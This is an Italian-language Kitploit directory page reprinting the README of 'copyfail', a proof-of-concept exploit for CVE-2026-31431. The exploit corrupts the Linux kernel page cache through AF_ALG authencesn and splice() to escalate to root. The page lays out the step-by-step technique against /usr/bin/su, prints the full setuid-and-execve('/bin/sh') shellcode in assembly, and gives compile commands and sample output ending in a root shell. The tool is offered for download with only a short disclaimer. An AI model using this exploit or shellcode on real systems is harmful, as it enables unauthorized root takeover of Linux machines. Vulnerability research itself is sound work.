Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
copyfail — CVE-2026-31431 (Copy Fail) PoC - Corruzione della page cache del kernel Linux tramite authencesn AF_ALG + splice() | Kitploit
Strumenti/GitHubGitHub/smarttfoxx/copyfail
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitSviluppo PayloadBinary Exploitation
GitHubsmarttfoxx/copyfail

copyfail

CVE-2026-31431 (Copy Fail) PoC - Corruzione della page cache del kernel Linux tramite authencesn AF_ALG + splice()

Vedi Repository
20744 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Copy Fail - PoC CVE-2026-31431 in C

Exploit di escalation dei privilegi locale per CVE-2026-31431 (Copy Fail), scritto in C.

Come Funziona

  1. Parsing ELF: risolve l'indirizzo virtuale del punto di ingresso di /usr/bin/su in un offset di file tramite gli header dei programmi PT_LOAD
  2. Configurazione AF_ALG: si lega a authencesn(hmac(sha256),cbc(aes)) con una chiave zero
  3. Scritture di 4 byte nella page cache: per ogni blocco del payload shellcode:
    • sendmsg() invia AAD con i byte dello shellcode come seqno_lo (byte 4-7), con MSG_MORE
    • splice() consegna 32 byte delle pagine della page cache del file di destinazione come tag di autenticazione AEAD
    • recv() attiva la decrittazione; la scrittura scratch di authencesn finisce nelle pagine della page cache concatenate, scrivendo 4 byte controllati.
  4. Escalation dei privilegi: execl("/usr/bin/su") carica la page cache corrotta. Lo shellcode di 40 byte (setuid(0) + execve("/bin/sh")) viene eseguito come setuid-root

Shellcode

root@kitploit:~
xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; null terminator
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; filename
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

Compilazione

Richiede musl-gcc o qualsiasi compilatore C con supporto alla link statica:

root@kitploit:~
musl-gcc -static -O2 -s -o copyfail exploit.c

In alternativa con GCC + glibc:

root@kitploit:~
gcc -static -O2 -s -o copyfail exploit.c

Utilizzo

root@kitploit:~
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

Riferimenti

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
  • Fix commit a664bf3d
  • Introduced by commit 72548b093ee3 (2017)

Disclaimer

Questa proof-of-concept è fornita esclusivamente per ricerca sulla sicurezza autorizzata e scopi educativi. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicito permesso di test è illegale.

Scarica lo strumento